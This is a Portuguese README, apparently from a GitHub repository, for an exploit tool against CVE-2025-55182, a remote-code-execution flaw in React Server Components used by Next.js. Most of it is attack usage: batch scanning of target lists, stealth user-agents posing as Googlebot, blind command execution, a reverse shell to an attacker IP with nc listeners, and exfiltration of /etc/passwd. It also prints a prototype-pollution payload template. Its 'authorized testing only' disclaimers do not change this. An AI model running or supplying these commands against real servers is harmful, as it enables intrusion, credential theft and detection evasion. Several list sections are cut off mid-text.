
CVE-2025-55182 Ferramenta de Exploração de Execução Remota de Código para React Server Components
CVE-2025-55182 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) nos Componentes do Servidor React (RSC) que afeta aplicações Next.js que utilizam o App Router com Server Actions.
A vulnerabilidade reside no processo de desserialização do protocolo Flight, permitindo que atacantes obtenham execução arbitrária de código através de poluição de protótipo.
APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS
Esta ferramenta é fornecida apenas para fins educacionais e de testes de penetração autorizados. O acesso não autorizado a sistemas de computador é ilegal. Qualquer uso ilegal ou não autorizado desta ferramenta é de responsabilidade exclusiva do usuário. O autor não assume nenhuma responsabilidade.
Esta ferramenta é fornecida apenas para fins de testes de segurança autorizados e educação. Qualquer violação ou operação ilegal, todas as consequências são de responsabilidade do usuário, e não têm relação com o autor.
Por favor, leia o DISCLAIMER.md completo antes de usar esta ferramenta.
Ao usar esta ferramenta, você concorda que:
| Componente | Versões Afetadas |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone o repositório
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Instale as dependências
pip install requests
pip install requests[socks] # Para suporte a proxy SOCKS5
python3 exploit.py http://target:3000 --check
# Varredura básica em lote
python3 exploit.py -f targets.txt --check
# Com modo stealth e atraso
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Salvar alvos vulneráveis em arquivo
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Inicie o listener primeiro
nc -lvnp 4444
# Execute o shell reverso
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Inicie o listener
nc -lvnp 4444
# Execute e exfiltre a saída
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| Modo | Descrição |
|---|---|
browser | Imita requisições reais de navegador (padrão) |
crawler | Imita rastreadores de mecanismos de busca (Googlebot, Baiduspider, etc.) |
security | Usa User-Agents de scanners de segurança |
| Opção | Descrição |
|---|---|
target | URL do alvo (ex.: http://localhost:3000) |
-f, --file | Arquivo contendo URLs de alvos (um por linha) |
-o, --output | Arquivo de saída para alvos vulneráveis |
-c, --command | Comando a executar (cego) |
--check | Verificar vulnerabilidade |
--proxy | Proxy SOCKS5 (ex.: socks5://127.0.0.1:1080) |
--stealth | Modo stealth: browser, crawler, security |
--delay | Atraso entre requisições em segundos |
--variants | Usar múltiplas variantes de payload para verificação completa |
--revshell IP PORTA | Shell reverso para IP:PORTA |
--exfil CMD IP PORTA | Executar CMD e enviar saída via POST para IP:PORTA |
-t, --timeout | Tempo limite de requisição em segundos (padrão: 15) |
O exploit explora a poluição de protótipo na desserialização do protocolo Flight:
Object.prototype.then via "$1:__proto__:then"_formData.get como o construtor Function via "$1:constructor:constructor"_prefix que é passado para Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<código_malicioso>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Script principal do exploit
├── targets.txt # Lista de URLs de alvos (um por linha)
└── README.md # Este arquivo
# Comentários começam com #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack e Next.jsEste projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.
Ao baixar, copiar, instalar ou usar este software, você concorda em ficar vinculado aos termos deste aviso de isenção.
Esta ferramenta foi projetada exclusivamente para:
Você NÃO DEVE usar esta ferramenta para:
ESTE SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA. O(S) AUTOR(ES) ISENTAM-SE DE TODAS AS GARANTIAS, INCLUINDO MAS NÃO SE LIMITANDO A: